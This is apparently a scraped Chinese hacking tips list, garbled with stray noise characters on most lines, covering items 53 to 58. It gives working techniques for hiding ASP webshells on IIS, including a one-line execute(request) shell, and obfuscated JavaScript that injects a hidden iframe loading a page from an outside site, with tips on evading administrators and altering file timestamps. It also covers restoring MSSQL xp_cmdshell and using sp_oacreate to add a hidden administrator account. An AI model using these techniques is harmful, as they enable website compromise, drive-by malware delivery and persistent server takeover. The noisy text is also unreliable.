% v( D( m" h" Z4 T$ X2 w4 X0 X0 J e9 b, w2 X* }
53、隐藏ASP后门的两种方法
4 [3 k$ G+ z$ ~1、建立非标准目录:mkdir images..\1 G6 s% a" {9 F' s/ n* C
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp
9 R' M$ \8 ^: @, O通过web访问ASP木马:http://ip/images../news.asp?action=login
6 u' d/ x. t! |9 c" i4 A8 g7 A& W如何删除非标准目录:rmdir images..\ /s
% O. E/ X$ c* m0 e, g% H* |) o2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析,以达到我们隐藏自己的网页后门的目的:# r! ^$ u* ]& g( G4 t8 l
mkdir programme.asp
K* I& A+ }2 P新建1.txt文件内容:<!--#include file=”12.jpg”--># V5 m1 @) S- y, \; h
新建12.jpg文件内容:<%execute(request("l"))%> 或使用GIF与ASP合并后的文件
& s C; z5 K0 m3 ^1 z# K0 q" `attrib +H +S programme.asp' c* c3 j! o) T3 ?; g4 Q4 p4 O
通过web访问ASP一句话木马:http://ip/images/programme.asp/1.txt" F0 Q2 D2 L$ l. s* c" {
+ W% e8 @2 O/ o; U( O54、attrib /d /s c:\windows +h +s,后windows目录变为隐藏+系统,隐藏属性为灰不可更改,windows目录下面的文件和目录并没有继承属性,原来是什么样还是什么样。! i9 S u7 h8 P0 U! S
然后在利用attrib /d /s c:\windows -h -s,windows目录可以显示,隐藏属性可以再次选中。3 _( V; }7 q$ w1 g( }! q# u5 X* A
* @ g) q, c& G% r- _' A/ n55、JS隐蔽挂马
1 ?% W+ s* e) c4 \! Y l1.
7 S, C% A3 \" ^! qvar tr4c3="<iframe src=ht";- F# R# j; h) I: b& [- H3 m% d
tr4c3 = tr4c3+"tp:/";1 J# s+ W- [: j d; A
tr4c3 = tr4c3+"/ww";% e0 y D! u: H; q! c1 |6 F
tr4c3 = tr4c3+"w.tr4";4 R$ ` l2 g% I
tr4c3 = tr4c3+"c3.com/inc/m";# a6 R2 h6 v; B9 T/ w1 C
tr4c3 = tr4c3+"m.htm style="display:none"></i";
, b( A' z' g4 Itr4c3 =tr4c3+"frame>'";
7 x7 F! x! U" y+ C5 D- f2 kdocument.write(tr4c3);
7 @9 { h* {( [/ z避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些,混淆度增加。. C- a' c' u( B' b
N" V+ S5 F: e$ ~/ l; H+ j5 c6 N2.* f3 m0 J, p! S* Y+ ~: a0 o: j
转换进制,然后用EVAL执行。如
' D6 A0 ]" t/ g* y, ^eval("\144\157\143\165\155\145\156\164\56\167\162\151\164\145\40\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\167\167\167\56\164\162\64\143\63\56\143\157\155\57\151\156\143\57\155\155\56\150\164\155\40\163\164\171\154\145\75\42\42\144\151\163\160\154\141\171\72\156\157\156\145\42\42\76\74\57\151\146\162\141\155\145\76\42\51\73");
9 F- x( q) A/ \7 ^; z不过这个有点显眼。$ ~8 |# r, s L7 z( |7 ]/ T
3.
: J3 J* s/ A @( r; S+ P/ e" zdocument.write ('<iframe src=http://www.tr4c3.com/inc/mm.htm style="display:none"></iframe>');
2 B. R% t0 F7 k# l最后一点,别忘了把文件的时间也修改下。4 I9 R3 Z q& K I& o$ u
2 o1 y' B9 O1 _( x56.3389终端入侵常用DOS命令
" m% ~, \: h3 P9 i& ~5 dtaskkill taskkill /PID 1248 /t
$ g# O! H/ `; F7 r$ S
: P- Y' ?5 J4 B' g& rtasklist 查进程
0 k$ j' y" V8 z6 ]: M$ u# R1 u' ^2 w
cacls "C:\Program Files\ewido anti-spyware 4.0\guard.exe" /d:everyone 改、降低某文件权限
& w* E3 [& ~8 \) B# jiisreset /reboot: y; f l! G8 W2 j6 t1 z" s! S# Z( d
tsshutdn /reboot /delay:1 重起服务器
/ J# V: U3 R. A4 W1 t0 E" P/ P
1 Q! d9 r; b" Q# Flogoff 12 要使用会话 ID(例如,会话 12)从会话中注销用户,4 v& M6 h3 q9 `9 _6 S6 L, ~" M m3 B9 O, B
' N6 O2 @: F5 w3 q4 I" lquery user 查看当前终端用户在线情况
n( f' y( V; }2 [$ V: N% n+ {
5 M; f: }; v, e$ j6 a要显示有关所有会话使用的进程的信息,请键入:query process *6 C, k5 r4 }% t- C
: }' a% {, _* s) M3 l, R要显示有关会话 ID 2 使用的进程的信息,请键入:query process /ID:2
0 F* P- r+ @5 y5 u0 ?. L: M; {. V$ R) Z9 S+ L- J2 c
要显示有关服务器 SERVER2 上所有活动会话的信息,请键入:query session /server:SERVER2' e+ m1 Z/ P. K- u! S
& x7 T* `! O0 b' i* ^: S/ Q
要显示有关当前会话 MODEM02 的信息,请键入:query session MODEM02: T2 A! L0 ^6 J/ g; S7 I
" b. J4 S. R7 _+ _$ g+ l
命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启
4 N+ |& [/ i/ R, x9 _: b
: y. r+ Z8 a3 u5 ~( [9 E# ~5 j# u命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统
$ D- j O7 M% ~( a) k7 M# ] a. C7 k6 _
命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。
2 t$ ]# J( ?% a# A0 t5 O% n; X6 T' v c& U' C9 j3 L" i
命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机& R" S R) U; f' b# h3 _% c
% D6 K. n% [: B$ L
56、在地址栏或按Ctrl+O,输入:
. `* c1 T; d4 Ijavascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;
' L: f. s/ G( J- z& }8 k, d; _/ d
W" q# b3 v' W$ ^+ U5 Y3 m源代码就出来了。不论加密如何复杂,最终都要还原成浏览器可以解析的html代码,而documentElement.outerHTML正是最终的结果。
4 n: I- p# V- i3 c( T* M: S
+ n% i) Q& j' Q! p5 t5 u; s57、net user的时候,是不能显示加$的用户,但是如果不处理的话,& W$ x% o$ Q$ [/ y4 J2 ~( a
用net localgroup administrators是可以看到管理组下,加了$的用户的。
, M1 P1 X1 y. _: L! t( z4 { C
0 P9 n9 H+ R! r58、 sa弱口令相关命令: ?) Q1 ~+ v3 P% m( B! u
8 L9 `/ }! C9 Z F7 M+ E
一.更改sa口令方法:
: B3 u7 B+ E9 L# z6 Y( A3 `0 o用sql综合利用工具连接后,执行命令:
7 p% ]& X# X6 {$ D, f; W$ rexec sp_password NULL,'20001001','sa'
, e0 x, l& R' L' z, L(提示:慎用!)
j* v M" D+ w5 Q6 ^5 v: T( L5 \3 Q* C
二.简单修补sa弱口令. t1 X' z3 o' U: j9 Y6 R7 U( H
2 z) e! T7 C8 N9 d+ |8 {, \方法1:查询分离器连接后执行:: x3 R, R+ Z) [+ D4 u4 Z
if exists (select * from
. O* s" k% C, Sdbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and( x' }2 Y' ?7 T# ^, j
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)& w. E* v5 `1 J- t
& u) O) g' ^5 u5 M* _1 `" d8 ~
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
7 x6 y6 T! D/ @" U( t. c
+ Z& u( p2 Q0 K3 Q! }/ {GO
& s" T3 P" l, Z4 E
# L; Q5 R5 |3 v# e然后按F5键命令执行完毕
1 I, H# J/ w) Y
7 o ` P- w# D" W$ K方法2:查询分离器连接后
" ~& ]$ a) g% k/ w* [第一步执行:use master! H, r. ^* b1 Y+ J; L
第二步执行:sp_dropextendedproc 'xp_cmdshell'
& P" O0 k! R8 ?0 n" F( W然后按F5键命令执行完毕! E8 a8 T! _# }: l7 t
2 B" N. M/ R/ _- G# R/ K8 R# F9 u2 Q
三.常见情况恢复执行xp_cmdshell.
; ]$ D x9 g3 P# a! a6 a) X# k( K' z9 h4 V- U
, v; i# z& l- I4 a, N# y) t4 N
1 未能找到存储过程'master..xpcmdshell'.
5 B% @# x" m: G2 g3 ~ 恢复方法:查询分离器连接后,: P% J& P% ]5 i- R- f! m
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
: e; F* Q& H7 j& N0 A+ M第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% `1 ~0 s% O( P& I然后按F5键命令执行完毕$ y% h, H7 l+ B* U% _, g
$ I/ W1 i0 Q# e2 o* I% ?2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。) \7 d! Y* B! h0 k& n
恢复方法:查询分离器连接后,; F q7 ]% q" R" E% }1 y
第一步执行:sp_dropextendedproc "xp_cmdshell"
@' o# l! g- W8 B8 I第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
0 g% K3 V, x5 e5 A f- c然后按F5键命令执行完毕! J) S5 \0 h `
1 Q L% T, c4 v+ u) _5 q7 u8 w/ V
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
- R" Q) Q8 H V; Z* m2 a恢复方法:查询分离器连接后,
; d& Y7 ?$ b1 C+ F第一步执行:exec sp_dropextendedproc 'xp_cmdshell'# O9 p7 y3 l' |+ \6 Z! C
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
* X% Q& l: b: ~8 |1 k' T' E) }然后按F5键命令执行完毕9 h( G' Q* \; P" b# X2 T
- ~/ F& y! w+ }. a2 Y四.终极方法.
4 n# n W/ p. F6 R) e4 c0 Q如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:' [4 q" }+ g, Y5 \# v
查询分离器连接后,
2 A# E' y8 C1 I1 S) B2000servser系统:2 c J" y. e( B) Y7 k7 L, r/ F
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 用户名 密码 /add', z M5 _/ d) C J+ S$ B+ q
- U. a) {# [% T* q3 l7 p5 }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 用户名 /add'$ h- {2 {' n1 f" x/ Z# E4 u8 k
# r; `& g% p8 w% i" u
xp或2003server系统:
" T% `7 k( F; ~* v! {
. f' e4 T1 a* i$ W0 Tdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
# W# a: `# K& q6 V5 ~5 Q6 R
" M- m8 ]8 e7 wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 用户名 /add'2 M: ?" q+ _* @* o( q, @
|